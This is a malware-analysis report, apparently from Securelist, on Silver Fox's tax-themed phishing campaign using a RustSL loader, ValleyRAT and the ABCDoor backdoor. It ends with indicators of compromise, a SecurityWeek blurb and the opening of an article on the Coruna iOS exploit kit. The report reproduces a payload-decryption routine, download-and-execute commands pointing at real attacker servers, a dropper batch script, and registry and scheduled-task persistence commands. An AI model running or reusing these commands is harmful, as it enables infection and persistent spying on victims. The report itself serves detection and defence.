char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
enc_payload_len: the size of the encrypted payload
sgn_iterations and sgn_key: parameters used for decryption
sgn_decoder_size and decoder: unused fields
enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
Original file containing the encrypted malicious payload
XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
Encrypted malicious payload prior to the final decryption stage
Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

ip-api.com (the GitHub version relies solely on this service)
ipwho.is
ipinfo.io
ipapi.co
www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

As an email attachment
Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

Embedded within the loader body
Hosted on an external website as a PNG image
Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key	Description
HKCU:\Console\0	For x86-based modules
HKCU:\Console\1	For x64-based modules
HKCU:\Console\IpDate	Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info	Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value	Module name	Library MD5 hash	Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0	保86.dll	4a5195a38a458cdd2c1b5ab13af3b393	2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0	保86.dll	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32
2375193669e243e830ef5794226352e7	保86.dll_bin	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

Using the InternetReadFile function with the User-Agent PythonDownloader
Using the URLDownloadToFile function

Using PowerShell:

powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

Using curl:

curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.batAfter copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:

"C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient

Persistence is established by executing the following command:

cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

Task scheduler: The malware executes

cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

MainManager: handles C2 connection and authorization (sending system metadata)
MessageManager: registers and executes message handlers
AutoStartManager: manages backdoor persistence
ClientManager: handles backdoor updates and removal
SystemInfoManager: collects data from the victim’s system, including screenshots
RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
FileManager: performs file system operations
KeyboardManager: emulates keyboard input
ProcessManager: manages system processes
ClipboardManager: exfiltrates clipboard contents to the C2
CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

Emulating a double click while broadcasting the victim’s screen
A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version	Compiled date (UTC)	Key updates	ABCDoor .pyd MD5 hash
121	2024.12.19 18:27:11	– Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg) – No OOP used – Registry persistence	5b998a5bc5ad1c550564294034d4a62c
143	2025.02.04 01:15:00	Client updates – Task scheduler persistence – OOP implementation (classes) – Clipboard management – Process management – Asymmetric file and directory encryption	c50c980d3f4b7ed970f083b0d37a6a6a
152	2025.04.01 15:39:36	– DPAPI encryption functions – Chunked file uploading to C2	de8f0008b15f2404f721f76fac34456a
154	2025.05.09 13:36:24	– Implementation of installation channels – Key combination emulation	9bf9f635019494c4b70fb0a7c0fb53e4
156	2025.08.11 13:36:10	– Retrieval and logging of initial installation time to the registry	a543b96b0938de798dd4f683dd92a94a
157	2025.08.28 14:23:57	– Use of DDA source in ffmpeg for monitor screen broadcasting	fa08b243f12e31940b8b4b82d3498804
157	2025.09.23 11:38:17	– Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)	13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

- C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
- Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
```
powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"
```
  This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

- - Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
    - hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
    - hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
  - Utilizing URLs with arguments formatted as channel=[word_MMDD]:
  - hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
  - hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
  - hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

- - RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
  - RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
  - RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
  - MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
  - MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
  - MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

- - CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
  - November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
  - December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
  - December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
  - Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

SecurityWeek
China-Linked APT GopherWhisper Abuses Legitimate Services in Government Attacks 25 April 2026 at 12:50

China-Linked APT GopherWhisper Abuses Legitimate Services in Government Attacks

SecurityWeek

By: Ionut Arghire

25 April 2026 at 12:50

Dubbed GopherWhisper, the group relies on multiple Go-based backdoors alongside custom loaders and injectors.

The post China-Linked APT GopherWhisper Abuses Legitimate Services in Government Attacks appeared first on SecurityWeek.

Securelist
Coruna: the framework used in Operation Triangulation 26 March 2026 at 09:00

Coruna: the framework used in Operation Triangulation

Securelist

By: Boris Larin

26 March 2026 at 09:00

Introduction

On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.

Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).

Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.

During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.

Attack chain of Operation Triangulation (simplified)

Attack chain of Coruna (simplified)

